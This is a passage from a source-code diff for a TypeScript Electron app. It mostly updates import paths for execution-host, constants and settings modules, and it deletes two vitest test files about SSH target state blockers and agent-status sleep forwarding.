a/src/main/skills/discovery/skill-discovery-sources.ts +++ b/src/main/skills/discovery/skill-discovery-sources.ts @@ -7,7 +7,10 @@ import type { } from '../../../shared/skills/discovery/skills' import type { AgentType } from '../../../shared/agent-status/contracts/agent-status-types' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { SKILL_INSTALL_PROVIDERS, type SkillInstallProviderId diff --git a/src/main/skills/discovery/skill-discovery-target.ts b/src/main/skills/discovery/skill-discovery-target.ts index 69f4ad08ff8..7f88944e6e5 100644 --- a/src/main/skills/discovery/skill-discovery-target.ts +++ b/src/main/skills/discovery/skill-discovery-target.ts @@ -15,7 +15,7 @@ import { discoverSkillObservationInWsl } from './skill-discovery-wsl' import type { SkillProviderRootOverrides } from '../providers/skill-provider-destinations' import { stablePathId } from './skill-discovery-classification' import { skillScanSourceKinds } from './skill-discovery-source-filter' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { isSkillRootUnavailableError, SkillScanCoalescer } from './skill-scan-coalescer' import { assertWslUncPathRunning } from '../../wsl/filesystem/wsl-unc-access-gate' import { diff --git a/src/main/skills/discovery/skill-remote-repo-sources.ts b/src/main/skills/discovery/skill-remote-repo-sources.ts index 6a9419dd7a9..b6baec69e02 100644 --- a/src/main/skills/discovery/skill-remote-repo-sources.ts +++ b/src/main/skills/discovery/skill-remote-repo-sources.ts @@ -1,7 +1,10 @@ import { basename } from 'node:path' import type { SkillDiscoverySource } from '../../../shared/skills/discovery/skills' import type { Repo } from '../../../shared/repository/repo-types' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { stablePathId } from './skill-discovery-classification' /** SSH repos this host cannot read, reported so the gap is visible instead of silent (#11466). */ diff --git a/src/main/source-control/forge-provider.ts b/src/main/source-control/forge-provider.ts index 46ed21b53f7..d1c6b8c4fd2 100644 --- a/src/main/source-control/forge-provider.ts +++ b/src/main/source-control/forge-provider.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { CreateHostedReviewInput, CreateHostedReviewResult, diff --git a/src/main/source-control/hosted-review-branch-cache-types.ts b/src/main/source-control/hosted-review-branch-cache-types.ts index d9a27d74fec..a9c5a560d63 100644 --- a/src/main/source-control/hosted-review-branch-cache-types.ts +++ b/src/main/source-control/hosted-review-branch-cache-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { HostedReviewInfo } from '../../shared/source-control/hosted-review/hosted-review-contracts' export type CacheEntry = { diff --git a/src/main/source-control/hosted-review-branch-cache.ts b/src/main/source-control/hosted-review-branch-cache.ts index fd2a0443d7e..6d877fa394c 100644 --- a/src/main/source-control/hosted-review-branch-cache.ts +++ b/src/main/source-control/hosted-review-branch-cache.ts @@ -3,7 +3,7 @@ import type { HostedReviewBranchCacheIdentity, HostedReviewBranchCacheOptions } from './hosted-review-branch-cache-types' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { HostedReviewForBranchOutcome, HostedReviewInfo diff --git a/src/main/source-control/hosted-review-creation-git-state.ts b/src/main/source-control/hosted-review-creation-git-state.ts index 7f3b420786e..42f55c87430 100644 --- a/src/main/source-control/hosted-review-creation-git-state.ts +++ b/src/main/source-control/hosted-review-creation-git-state.ts @@ -17,7 +17,7 @@ import { resolveDefaultBaseRefViaExec } from '../../shared/git/refs/git-default- import { getUpstreamStatus } from '../git/source-control/upstream/upstream' import { findExistingWorktreeSymlinkPaths } from '../git/worktrees/content-paths/worktree-symlink-detection' import { requireReachableGitRoute } from '../providers/execution-host-provider-dispatch' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { getHostedReviewLocalGitOptions, type HostedReviewExecutionOptions diff --git a/src/main/source-control/hosted-review-creation-provider.ts b/src/main/source-control/hosted-review-creation-provider.ts index caa45a48742..2dafef2177c 100644 --- a/src/main/source-control/hosted-review-creation-provider.ts +++ b/src/main/source-control/hosted-review-creation-provider.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { HostedReviewProvider } from '../../shared/source-control/hosted-review/hosted-review-contracts' import type { HostedReviewCreationProvider } from '../../shared/source-control/hosted-review/hosted-review-creation-providers' import { isAzureDevOpsReviewCreationAuthenticated } from '../azure-devops/pull-request-creation' diff --git a/src/main/source-control/hosted-review-creation.ts b/src/main/source-control/hosted-review-creation.ts index ba2bc22a976..b872e4c254d 100644 --- a/src/main/source-control/hosted-review-creation.ts +++ b/src/main/source-control/hosted-review-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { CreateHostedReviewInput, CreateHostedReviewResult, diff --git a/src/main/source-control/hosted-review-execution-host.ts b/src/main/source-control/hosted-review-execution-host.ts index d5956b11103..c29d63df5bf 100644 --- a/src/main/source-control/hosted-review-execution-host.ts +++ b/src/main/source-control/hosted-review-execution-host.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { ExecutionHostNotDispatchableError, resolveGitRouteForHost diff --git a/src/main/source-control/hosted-review-scope-generations.ts b/src/main/source-control/hosted-review-scope-generations.ts index caf463416f0..6fc7bbe98ae 100644 --- a/src/main/source-control/hosted-review-scope-generations.ts +++ b/src/main/source-control/hosted-review-scope-generations.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { MAX_BRANCH_MAP_ENTRIES } from './hosted-review-refresh-pacing' /** Fence lookups begun before review creation so they cannot reinstall stale absence (#11532). */ diff --git a/src/main/source-control/hosted-review.ts b/src/main/source-control/hosted-review.ts index 8bd616faa04..4f35061864c 100644 --- a/src/main/source-control/hosted-review.ts +++ b/src/main/source-control/hosted-review.ts @@ -2,7 +2,7 @@ import { githubRepoContext, withGitHubRepoExecution } from '../github/repositories/github-repository-identity' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { cachedHostedReviewOutcome, type HostedReviewForBranchOutcome, diff --git a/src/main/source-control/repo-default-branch.ts b/src/main/source-control/repo-default-branch.ts index 0fc27c1e6f4..46a84aec82f 100644 --- a/src/main/source-control/repo-default-branch.ts +++ b/src/main/source-control/repo-default-branch.ts @@ -5,7 +5,7 @@ import { } from '../../shared/git/refs/git-default-base-ref' import { gitExecFileAsync } from '../git/command-runner/git-exec-file' -import { getRepoExecutionHostId } from '../../shared/execution-host' +import { getRepoExecutionHostId } from '../../shared/execution-host/execution-host' import { hostedReviewRepoScope, scopeGeneration } from './hosted-review-scope-generations' import type { HostedReviewLocalGitOptions } from './hosted-review-git-options' diff --git a/src/main/source-control/review-current-head.ts b/src/main/source-control/review-current-head.ts index b805970b7de..d440d5248ef 100644 --- a/src/main/source-control/review-current-head.ts +++ b/src/main/source-control/review-current-head.ts @@ -1,6 +1,6 @@ import { gitExecFileAsync } from '../git/command-runner/git-exec-file' import { requireReachableGitRoute } from '../providers/execution-host-provider-dispatch' -import { getConnectionExecutionHostId } from '../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../shared/execution-host/execution-host' import type { HostedReviewLocalGitOptions } from './hosted-review-git-options' export async function readCurrentReviewHead( diff --git a/src/main/source-control/stacked-hosted-review-creation.ts b/src/main/source-control/stacked-hosted-review-creation.ts index 47b9713a1b4..970bdbf918d 100644 --- a/src/main/source-control/stacked-hosted-review-creation.ts +++ b/src/main/source-control/stacked-hosted-review-creation.ts @@ -4,7 +4,7 @@ import { getHostedReviewLocalGitOptions, type HostedReviewExecutionOptions } from './hosted-review-git-options' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { CreateStackedHostedReviewInput, CreateStackedHostedReviewResult, diff --git a/src/main/speech/speech-model-deletion.ts b/src/main/speech/speech-model-deletion.ts index 5fd40f95298..c8d08990765 100644 --- a/src/main/speech/speech-model-deletion.ts +++ b/src/main/speech/speech-model-deletion.ts @@ -1,4 +1,4 @@ -import { getDefaultVoiceSettings } from '../../shared/constants' +import { getDefaultVoiceSettings } from '../../shared/orca-profiles/constants' import type { VoiceSettings } from '../../shared/speech/speech-types' import { getCatalogModel, isLocalSpeechModel } from './model-catalog' import type { ModelManager } from './model-manager' diff --git a/src/main/speech/speech-model-warmup.ts b/src/main/speech/speech-model-warmup.ts index d8c8f6e1a4c..b0226998717 100644 --- a/src/main/speech/speech-model-warmup.ts +++ b/src/main/speech/speech-model-warmup.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { voiceModelUnloadDelayMs } from '../../shared/speech/models/voice-model-unload' import { findSpeechSttService, getSpeechSttService } from './speech-runtime-service' diff --git a/src/main/ssh/connection/authority/ssh-connection-generation.ts b/src/main/ssh/connection/authority/ssh-connection-generation.ts index 1e869f6ad1d..c7dc5a87ea5 100644 --- a/src/main/ssh/connection/authority/ssh-connection-generation.ts +++ b/src/main/ssh/connection/authority/ssh-connection-generation.ts @@ -1,5 +1,5 @@ import { randomBytes } from 'node:crypto' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' const SESSION_COUNTER_BITS = 13 const SESSION_COUNTER_STRIDE = 2 ** SESSION_COUNTER_BITS diff --git a/src/main/ssh/connection/ssh-host-sleep-hold.ts b/src/main/ssh/connection/ssh-host-sleep-hold.ts index bb26d964caf..12111610384 100644 --- a/src/main/ssh/connection/ssh-host-sleep-hold.ts +++ b/src/main/ssh/connection/ssh-host-sleep-hold.ts @@ -1,4 +1,4 @@ -import { isRuntimeOwnedSshTargetId } from '../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../shared/execution-host/execution-host' /** Whether an Orca-owned SSH host serves a workspace VM that is asleep. Desktop main registers * it; the SSH layer only reads it, so it stays free of the VM store. */ diff --git a/src/main/ssh/targets/ssh-target-id-migration.test.ts b/src/main/ssh/targets/ssh-target-id-migration.test.ts index 650a4dd080f..8187ddaacf4 100644 --- a/src/main/ssh/targets/ssh-target-id-migration.test.ts +++ b/src/main/ssh/targets/ssh-target-id-migration.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect } from 'vitest' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { diff --git a/src/main/ssh/targets/ssh-target-id-migration.ts b/src/main/ssh/targets/ssh-target-id-migration.ts index f1432d3086d..8ac3b83905a 100644 --- a/src/main/ssh/targets/ssh-target-id-migration.ts +++ b/src/main/ssh/targets/ssh-target-id-migration.ts @@ -1,9 +1,9 @@ import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { parseAppSshPtyId, toAppSshPtyId } from '../../../shared/remote-runtime/ssh/ssh-pty-id' -import { toSshExecutionHostId } from '../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../shared/execution-host/execution-host' import { normalizeManualRepoOrder } from '../../../shared/repository/manual-repo-order' /** Re-adoption must migrate every persisted id carrier together or reconnect/reattach resurrects dead target ids (STA-1468). Mutate in place and report changes for save scheduling. */ diff --git a/src/main/ssh/targets/ssh-target-orcad-dependents.test.ts b/src/main/ssh/targets/ssh-target-orcad-dependents.test.ts deleted file mode 100644 index e74c0be046d..00000000000 --- a/src/main/ssh/targets/ssh-target-orcad-dependents.test.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' - -import type { PersistedState } from '../../../shared/persisted-state-types' -import type { Repo } from '../../../shared/repository/repo-types' -import { getAllWorktreeMetaForHost } from '../../persistence/loading-store/worktree-metadata/worktree-identity-metadata' -import { normalizeWorktreeLinkedItemMetadata } from '../../persistence/tracking-repos/worktree-metadata-normalization' - -import { collectDependentStateBlockers } from './ssh-target-orcad-dependents' -import { emptyDependentStateStore } from './testing/ssh-target-orcad-dependents-fixture' -import { orcadTargetBlockerMessage } from './ssh-target-orcad-claims' - -function blockersFor(overrides: Parameters[0]) { - return collectDependentStateBlockers(emptyDependentStateStore(overrides), 'ssh-1') -} - -describe('client state that still references an SSH target', () => { - describe('profiles with unstamped metadata rows from an older build (#31498)', () => { - const SETUP_TERMINAL_ID = 'ephemeral-setup-terminal:panel-1' - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the census reads only id, connectionId and executionHostId. - const repos = [ - { id: 'local-repo', connectionId: null }, - { id: 'ssh-repo', connectionId: 'ssh-1' } - ] as Repo[] - - function legacyProfile(): PersistedState { - const row = { displayName: '', comment: '', isUnread: false, sortOrder: 1, lastActivityAt: 1 } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the load normalizer and host projection read only these maps. - return { - repos, - worktreeMeta: { - [FLOATING_TERMINAL_WORKTREE_ID]: { - ...row, - instanceId: '11111111-1111-4111-8111-111111111111', - workspaceStatus: 'in-progress' - }, - [SETUP_TERMINAL_ID]: { ...row }, - 'local-repo::/home/me/app': { ...row }, - 'removed-repo::/srv/old': { ...row }, - 'project-1::/srv/project': { ...row }, - 'ssh-repo::/srv/app': { ...row } - }, - worktreeMetaByIdentity: {}, - worktreeIdentityAliases: {}, - worktreeLineageById: {}, - workspaceLineageByChildKey: {} - } as unknown as PersistedState - } - - function metadataBlockerNames(state: PersistedState): string[] | undefined { - const [blocker] = blockersFor({ - getRepos: () => repos, - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the census reads only project ids. - getProjects: () => [{ id: 'project-1' }] as never, - getAllWorktreeMetaForHost: (hostId) => getAllWorktreeMetaForHost({ state }, hostId) - }) - return blocker?.code === 'orcad_migration_dependent_state' - ? blocker.dependencies.flatMap((dependency) => dependency.names ?? []) - : undefined - } - - it('counts only rows its repo or a project may own, before and after the load stamps them', () => { - const state = legacyProfile() - const owned = ['project-1::/srv/project', 'ssh-repo::/srv/app'] - expect(metadataBlockerNames(state)).toEqual(owned) - - expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true) - expect(state.worktreeMeta[FLOATING_TERMINAL_WORKTREE_ID]?.hostId).toBe('local') - expect(state.worktreeMeta[SETUP_TERMINAL_ID]?.hostId).toBe('local') - expect(state.worktreeMeta['ssh-repo::/srv/app']?.hostId).toBeUndefined() - expect(metadataBlockerNames(state)).toEqual(owned) - }) - - it('blocks an unrelated SSH target on neither the floating terminal row nor an orphan', () => { - const state = legacyProfile() - delete state.worktreeMeta['ssh-repo::/srv/app'] - delete state.worktreeMeta['project-1::/srv/project'] - expect(metadataBlockerNames(state)).toBeUndefined() - expect(getAllWorktreeMetaForHost({ state }, 'local')).toHaveProperty( - FLOATING_TERMINAL_WORKTREE_ID - ) - }) - }) - - it('refuses as unverifiable when a store cannot be read, naming the store', () => { - const blockers = blockersFor({ - listAutomations: () => { - throw new Error('automations unreadable') - }, - getAllWorktreeMetaForHost: () => { - throw new Error('meta unreadable') - } - }) - expect(blockers).toEqual([ - { - code: 'orcad_migration_dependency_unverifiable', - category: 'live-or-unverifiable', - sources: ['automation', 'worktree-metadata'] - } - ]) - const [blocker] = blockers - expect(blocker && orcadTargetBlockerMessage('ssh-1', blocker)).toContain( - 'could not read its saved automation, worktree-metadata state' - ) - }) -}) diff --git a/src/main/ssh/targets/ssh-target-orcad-dependents.ts b/src/main/ssh/targets/ssh-target-orcad-dependents.ts index 2dc4f27f1b3..604fe1bf78d 100644 --- a/src/main/ssh/targets/ssh-target-orcad-dependents.ts +++ b/src/main/ssh/targets/ssh-target-orcad-dependents.ts @@ -1,7 +1,10 @@ /** Empty-host claims refuse all referencing state; migrations block only state their manifest cannot carry. */ import type { Store } from '../../persistence/loading-store/store' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { getRepoRegistrationHostIds } from '../../../shared/repository/repo-host-identity' import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id' import { GLOBAL_WORKSPACE_SESSION_FIELDS } from '../../../shared/workspace-session/workspace-session-host-field-ownership' diff --git a/src/main/ssh/targets/ssh-target-runtime-ownership.ts b/src/main/ssh/targets/ssh-target-runtime-ownership.ts index 5e60f3753f9..99c269f0c8f 100644 --- a/src/main/ssh/targets/ssh-target-runtime-ownership.ts +++ b/src/main/ssh/targets/ssh-target-runtime-ownership.ts @@ -1,5 +1,5 @@ import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' -import { RUNTIME_OWNED_SSH_TARGET_ID_PREFIX } from '../../../shared/execution-host' +import { RUNTIME_OWNED_SSH_TARGET_ID_PREFIX } from '../../../shared/execution-host/execution-host' export function getRuntimeOwnedSshTargetId(runtimeId: string): string { return `${RUNTIME_OWNED_SSH_TARGET_ID_PREFIX}${runtimeId}` diff --git a/src/main/ssh/targets/testing/ssh-target-orcad-dependents-fixture.ts b/src/main/ssh/targets/testing/ssh-target-orcad-dependents-fixture.ts index cee4a769cf1..725c8b9c5ff 100644 --- a/src/main/ssh/targets/testing/ssh-target-orcad-dependents-fixture.ts +++ b/src/main/ssh/targets/testing/ssh-target-orcad-dependents-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { DependentStateStore } from '../ssh-target-orcad-dependents' export function emptyDependentStateStore( diff --git a/src/main/star-nag/console-events.ts b/src/main/star-nag/console-events.ts index 1b553ee15eb..7fe91739d38 100644 --- a/src/main/star-nag/console-events.ts +++ b/src/main/star-nag/console-events.ts @@ -1,5 +1,5 @@ import { app } from 'electron' -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' import type { StarNagPromptSource } from '../../shared/telemetry/star-nag-telemetry' import type { Store } from '../persistence/loading-store/store' import type { StatsCollector } from '../stats/collector' diff --git a/src/main/star-nag/prompt-context.ts b/src/main/star-nag/prompt-context.ts index 10034277906..0c8f8940fb2 100644 --- a/src/main/star-nag/prompt-context.ts +++ b/src/main/star-nag/prompt-context.ts @@ -1,4 +1,4 @@ -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' import { bucketStarNagAgentsSinceBaseline, type StarNagPromptMode, diff --git a/src/main/star-nag/service-test-harness.ts b/src/main/star-nag/service-test-harness.ts index 501adf82b20..26d18412024 100644 --- a/src/main/star-nag/service-test-harness.ts +++ b/src/main/star-nag/service-test-harness.ts @@ -1,7 +1,7 @@ import { vi } from 'vitest' import type { Mock } from 'vitest' -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' -import type { PersistedUIState } from '../../shared/persisted-ui-state-types' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' +import type { PersistedUIState } from '../../shared/orca-profiles/persisted-ui-state-types' import type { Store } from '../persistence/loading-store/store' import type { StatsCollector } from '../stats/collector' import { StarNagService } from './service' diff --git a/src/main/star-nag/service.ts b/src/main/star-nag/service.ts index 4f20e7714dd..f540afeb201 100644 --- a/src/main/star-nag/service.ts +++ b/src/main/star-nag/service.ts @@ -1,5 +1,5 @@ import { BrowserWindow, ipcMain } from 'electron' -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' import { checkOrcaStarred } from '../github/client/fetch/orca-star' import type { Store } from '../persistence/loading-store/store' import type { StatsCollector } from '../stats/collector' diff --git a/src/main/star-nag/threshold-trigger.ts b/src/main/star-nag/threshold-trigger.ts index 721d0f1e2ed..72875a98fea 100644 --- a/src/main/star-nag/threshold-trigger.ts +++ b/src/main/star-nag/threshold-trigger.ts @@ -1,4 +1,4 @@ -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' import type { Store } from '../persistence/loading-store/store' import type { StatsCollector } from '../stats/collector' diff --git a/src/main/star-nag/web-handoff.ts b/src/main/star-nag/web-handoff.ts index c10bd11fde7..139a2561a09 100644 --- a/src/main/star-nag/web-handoff.ts +++ b/src/main/star-nag/web-handoff.ts @@ -1,4 +1,4 @@ -import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/constants' +import { STAR_NAG_INITIAL_THRESHOLD } from '../../shared/feature-education/star-nag/star-nag-threshold' import type { Store } from '../persistence/loading-store/store' import type { StatsCollector } from '../stats/collector' diff --git a/src/main/startup/main-window-agent-status-sleep.test.ts b/src/main/startup/main-window-agent-status-sleep.test.ts deleted file mode 100644 index 7414fe2a53d..00000000000 --- a/src/main/startup/main-window-agent-status-sleep.test.ts +++ /dev/null @@ -1,216 +0,0 @@ -import '../runtime/orca-runtime-tests/runtime-test-module-registration.spec' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import type { BrowserWindow } from 'electron' -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { agentHookServer as server, _internals } from '../agent-hooks/server/agent-hook-server' -import { agentHookRuntimeDeps } from '../agent-hooks/runtime/agent-hook-runtime-deps' -import { OrcaRuntimeService } from '../runtime/orca-runtime' -import { AgentStatusObservedPaneIdentities } from '../runtime/terminal/identity/agent-status-observed-pane-identity' -import type { Store } from '../persistence/loading-store/store' -import { - HEADLESS_LEAF_ID, - TEST_WORKTREE_ID, - makeRuntimeStoreWithWorkspaceSession, - makeWorkspaceSessionWithHeadlessTerminal -} from '../runtime/orca-runtime-tests/orca-runtime-test-fixtures.spec' -import { - bindPaneFirst, - withBoundPane -} from '../runtime/orca-runtime-tests/bind-first-pane.test-fixture' -import { bindTerminalPaneStatusLifecycle } from '../ipc/pty/pane/terminal-pane-status-lifecycle' -import { rememberPaneKeyForPty, paneKeyPtyId, ptyPaneKey } from '../ipc/pty/pane/key-state' -import { ptyIncarnationById, ptyOwnership } from '../ipc/pty/provider/ownership-state' -import { getLocalPtyProvider, setLocalPtyProvider } from '../ipc/pty/provider/registry' -import type { IPtyProvider } from '../providers/pty/provider-contract' -import { stopRendererOwnedPty } from '../ipc/pty/ipc/renderer-kill' -import { toAppSshPtyId } from '../../shared/remote-runtime/ssh/ssh-pty-id' -import { getConnectionExecutionHostId } from '../../shared/execution-host' -import { - installMainWindowAgentStatusListeners, - clearMainWindowAgentStatusListeners -} from './main-window/main-window-agent-status' - -const frames = vi.hoisted(() => ({ send: vi.fn(), popout: vi.fn() })) -vi.mock('./main-process-state', () => ({ - mainProcessState: { mainWindow: { isDestroyed: () => false, webContents: frames }, runtime: null } -})) -vi.mock('../window/dashboard-popout-window', () => ({ - getDashboardPopoutWindow: () => ({ webContents: { send: frames.popout } }) -})) -vi.mock('./main-window/synthetic-title-runtime', () => ({ - stopSyntheticTitleSpinnerTimer: () => {} -})) - -const PANE = `host-tab:${HEADLESS_LEAF_ID}` -const INCARNATION = 'initial-incarnation' -let home: string -let runtime: OrcaRuntimeService | undefined -const originalProvider = getLocalPtyProvider() -const ownedPtys = new Set() - -beforeEach(async () => { - _internals.resetCachesForTests() - home = mkdtempSync(join(tmpdir(), 'orca-sleep-forward-')) - await server.start({ env: 'production', userDataPath: home }) - frames.send.mockClear() - frames.popout.mockClear() - installMainWindowAgentStatusListeners({ - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this option is unused; delivery uses the mocked main-process window. - window: {} as BrowserWindow, - onRecordAgentState: () => {} - }) -}) -afterEach(async () => { - clearMainWindowAgentStatusListeners() - for (const id of ownedPtys) { - await runtime?.onPtyExit(id, 0) - ptyPaneKey.delete(id) - ptyIncarnationById.delete(id) - ptyOwnership.delete(id) - } - ownedPtys.clear() - paneKeyPtyId.delete(PANE) - runtime = undefined - server.stop() - bindTerminalPaneStatusLifecycle(undefined, undefined) - setLocalPtyProvider(originalProvider) - vi.restoreAllMocks() - rmSync(home, { recursive: true, force: true }) -}) - -async function syncPaneGraph( - runtime: OrcaRuntimeService, - ptyId: string, - binding: { tabId: string; leafId: string; incarnationId: string } -): Promise { - await runtime.syncWindowGraph(1, { - tabs: [ - { - ...binding, - worktreeId: TEST_WORKTREE_ID, - title: 'Agent', - activeLeafId: HEADLESS_LEAF_ID, - layout: null - } - ], - leaves: [{ ...binding, worktreeId: TEST_WORKTREE_ID, ptyId, paneRuntimeId: 1 }] - }) -} - -async function setup(ptyId: string, connectionId: string | null) { - const binding = { tabId: 'host-tab', leafId: HEADLESS_LEAF_ID, incarnationId: INCARNATION } - const session = withBoundPane(makeWorkspaceSessionWithHeadlessTerminal(), { - ...binding, - worktreeId: TEST_WORKTREE_ID, - ptyId - }) - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession( - session, - getConnectionExecutionHostId(connectionId) - ) - runtime = new OrcaRuntimeService( - runtimeStore, - undefined, - agentHookRuntimeDeps(server, new AgentStatusObservedPaneIdentities(), () => ({})) - ) - runtime.registerPty(ptyId, TEST_WORKTREE_ID, connectionId, binding) - ownedPtys.add(ptyId) - runtime.attachWindow(1) - await syncPaneGraph(runtime, ptyId, binding) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the placement adapter reads only the fixture's real getWorkspaceSession implementation. - bindTerminalPaneStatusLifecycle(runtime, runtimeStore as unknown as Store) - server.ingestTerminalStatus({ - paneKey: PANE, - tabId: 'host-tab', - worktreeId: TEST_WORKTREE_ID, - connectionId, - payload: { state: 'done', prompt: 'Finished task', agentType: 'unknown' } - }) - return { runtime, runtimeStore, binding } -} - -it('forwards the saved Done marker to both windows before the sleep kill resolves', async () => { - const id = 'local-sleeping-pty' - const h = await setup(id, null) - rememberPaneKeyForPty(id, PANE) - ptyIncarnationById.set(id, INCARNATION) - ptyOwnership.set(id, 'local') - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the injected stop acknowledges shutdown without launching a process or calling other provider methods. - setLocalPtyProvider({ - shutdown: async () => {}, - listProcesses: async () => [] - } as unknown as IPtyProvider) - const order: string[] = [] - frames.send.mockImplementation((channel, frame) => { - if (channel === 'agentStatus:set' && frame.paneSleep) { - order.push('sleep') - } - }) - await stopRendererOwnedPty( - { - runtime: h.runtime, - getLocalPtyProviderStartupPromise: () => undefined, - shutdownProviderAndDetectExit: async () => false, - rememberSyntheticKillExit: () => {}, - sendPtyExitToRenderer: () => {} - }, - { id, keepHistory: true } - ).then(() => order.push('reply')) - expect(order[0]).toBe('sleep') - expect(order.at(-1)).toBe('reply') - expect(frames.popout).toHaveBeenCalledWith( - 'agentStatus:set', - expect.objectContaining({ - state: 'done', - isReplay: true, - paneSleep: { ptyId: id, incarnationId: INCARNATION } - }) - ) - expect(server.getStatusSnapshotForPane(PANE)[0]?.paneSleep).toEqual({ - ptyId: id, - incarnationId: INCARNATION - }) -}) - -it.each([false, true])( - 'settles a delayed SSH exit only while its runtime binding owns the pane; successor=%s', - async (successor) => { - const id = toAppSshPtyId('ssh-1', 'remote-sleep') - const h = await setup(id, 'ssh-1') - const settle = h.runtime.intentionalPtyStops.mark(id, 'reversible', INCARNATION) - settle(true) - expect(paneKeyPtyId.has(PANE)).toBe(false) - if (successor) { - const replacement = toAppSshPtyId('ssh-1', 'replacement') - const replacementBinding = { ...h.binding, incarnationId: 'replacement-incarnation' } - bindPaneFirst( - h.runtime, - { - ...replacementBinding, - worktreeId: TEST_WORKTREE_ID, - ptyId: replacement - }, - getConnectionExecutionHostId('ssh-1') - ) - h.runtime.registerPty(replacement, TEST_WORKTREE_ID, 'ssh-1', replacementBinding) - await syncPaneGraph(h.runtime, replacement, replacementBinding) - ownedPtys.add(replacement) - expect(h.runtime.resolveTerminalPane(PANE)).toMatchObject({ - ptyId: replacement, - incarnationId: 'replacement-incarnation' - }) - } - await h.runtime.onPtyExit(id, 0, INCARNATION, { hostExitConfirmed: true }) - const row = server.getStatusSnapshotForPane(PANE)[0] - if (successor) { - expect(row?.paneSleep).toBeUndefined() - } else { - expect(row).toMatchObject({ - state: 'done', - paneSleep: { ptyId: id, incarnationId: INCARNATION } - }) - } - } -) diff --git a/src/main/startup/profile-startup/dev-education-suppression.ts 